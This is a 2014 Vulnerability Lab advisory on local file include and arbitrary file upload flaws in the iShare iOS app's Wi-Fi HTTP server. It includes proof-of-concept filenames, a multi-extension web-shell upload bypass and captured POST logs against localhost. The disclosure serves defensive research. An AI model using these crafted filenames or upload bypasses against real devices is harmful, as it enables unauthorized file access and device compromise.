iShare Your Moving Library 1.0 iOS - Multiple Vulnerabilities

[Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>]

Document Title:
===============
iShare Your Moving Library 1.0 iOS - Multiple Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1240


Release Date:
=============
2014-03-31


Vulnerability Laboratory ID (VL-ID):
====================================
1240


Common Vulnerability Scoring System:
====================================
7.8


Product & Service Introduction:
===============================
I forgot to bring the cable, can I download the original photos from iPhone to 
my computer now ? With this software, just select the photos 
you want to download, enable build in http server, you are on your way to get 
the full size photos! Use it as your usb stick or mobile hard disk.
Copy files, share image with your friends. Copy your video, audio, text, pdf or 
office files on to it. Enjoy it on the road, share it with your friends.
Build in http server enables to exchange information with any computer has 
browser. Need local WiFi network or cellular network for using this application.
Suggest to download over WiFi network. Or enable computer-to-computer WiFi 
network on your computer, let iPhone or iPod to join your 
computer\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\'s own WiFi network. 

(Copy of the Product Homepage: 
https://itunes.apple.com/us/app/ishare-your-moving-library/id309685106 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research team discovered multiple web 
vulnerabilities in the official iShare - Your moving libarary iOS mobile 
web-application.


Vulnerability Disclosure Timeline:
==================================
2014-03-26:     Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Shanghai KaiWei Network Technology
Product: iShare Your moving library - iOS Mobile Web Application 1.0


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
1.1
The local file include web vulnerability allows remote attackers to 
unauthorized include local file/path requests or system specific path 
commands to compromise the web-application or mobile device.

The web vulnerability is located in the `filename` value of the `Upload` 
module. Remote attackers are able to inject own files with malicious 
`filename` value in the `Upload` POST method request to compromise the mobile 
web-application. The attack vector is on the application-side 
of the wifi service and the request method to inject is POST. The local 
file/path include execution occcurs in the index file dir list of 
the upload path. Attackers are also able to exploit the filename validation 
issue in combination with persistent injected script codes to 
execute different local malicious requests. The security risk of the local file 
include web vulnerability is estimated as high(+) with a 
cvss (common vulnerability scoring system) count of 6.8(+)|(-)6.9.

Exploitation of the local file include web vulnerability requires no user 
interaction but a privileged web-application user account with low user auth. 
Successful exploitation of the local file include web vulnerability results in 
mobile application or connected device component compromise.

Request Method(s):
                                [+] [POST]

Vulnerable Module(s):
                                [+] Search/Select File > Upload

Vulnerable Parameter(s):
                                [+] filename

Affected Module(s):
                                [+] Index File Dir List (http://localhost:8080)



1.2
An arbitrary file upload web vulnerability has been discovered in the official 
iShare - Your moving libarary iOS mobile web-application.
The arbitrary file upload issue allows remote attackers to upload files with 
multiple extensions to bypass the web-server or system validation.

The vulnerability is located in the POST method request of the `Upload` module. 
Remote attackers are able to upload a php or js web-shells by 
renaming the file with multiple extensions to bypass the file restriction 
mechanism. The attacker uploads for example a web-shell with the following 
name and extension `test.jpg.html.php.asp.html.jpg`. After the upload the 
attacker needs to open the file in the web application. He deletes the .jpg  
file extension and can access the application with elevated access rights. The 
security risk of the arbitrary file upload web vulnerability is estimated 
as high with a cvss (common vulnerability scoring system) count of 
7.1(+)|(-)7.2.

Exploitation of the arbitrary file upload web vulnerability requires no user 
interaction or privileged application user account with password.
Successful exploitation of the arbitrary file upload web vulnerability results 
in unauthorized file access and system compromise.

Request Method(s):
                                [+] [POST]

Vulnerable Module(s):
                                [+] Select File > Upload

Vulnerable Parameter(s):
                                [+] filename (multiple extensions)

Affected Module(s):
                                [+] Index File Dir List (http://localhost:8080)


Proof of Concept (PoC):
=======================
1.1
The local file include web vulnerability can be exploited by local attackers 
without user interaction or privileged web-interface account.
For security demonstration or to reproduce the security vulnerability follow 
the provided information and steps below to continue.

PoC: 
<a href="/files/%3C./[LOCAL FILE INCLUDE VULNERABILITY VIA FILENAME 
VALUE!].png" class="file"><%3C./[LOCAL FILE INCLUDE VULNERABILITY VIA FILENAME 
VALUE!].png</a></td><td class='del'>
<form action='/files/%3C./[LOCAL FILE INCLUDE VULNERABILITY VIA FILENAME 
VALUE!].png' method='post'><input name='_method' value='delete' type='hidden'/>
<input name="commit" type="submit" value="Delete" class='button' 
/></td></tr></tbody></table></iframe></a>


--- PoC Session Logs [POST] ---
Status: 302[Found]
POST http://localhost:8080/files Load Flags[LOAD_DOCUMENT_URI  
LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[67] Mime Type[text/html]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 
Firefox/27.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://localhost:8080/]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[-----------------------------10586417925275
Content-Disposition: form-data; name="newfile"; filename="<./[LOCAL FILE 
INCLUDE VULNERABILITY VIA FILENAME VALUE!].png"
Content-Type: image/png

Reference(s):
http://localhost:8080/


1.2
The arbitrary file upload web vulnerability can be exploited by local attackers 
without user interaction or privileged application user account.
For security demonstration or to reproduce the file upload web vulnerability 
follow the provided information and steps below to continue.

PoC:
http://localhost:8080/files/./test.jpg.html.php.asp.html[ARBITRARY FILE UPLOAD 
VULNERABILITY!]

--- PoC Session Logs [POST] ---
Status: 302[Found]
POST http://localhost:8080/files Load Flags[LOAD_DOCUMENT_URI  
LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[67] Mime Type[text/html]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 
Firefox/27.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://localhost:8080/]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[-----------------------------23444256163832
Content-Disposition: form-data; name="newfile"; 
filename="test.jpg.html.php.asp.html.jpg[ARBITRARY FILE UPLOAD VULNERABILITY!]"
Content-Type: image/jpeg

Reference(s):
http://localhost:8080/files/



Security Risk:
==============
1.1
The security risk of the local file include web vulnerability via filename 
value is estimated as high(+).

1.2
The security risk of the remote arbitrary file upload web vulnerability is 
estimated as high.


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri 
(bkm@xxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]


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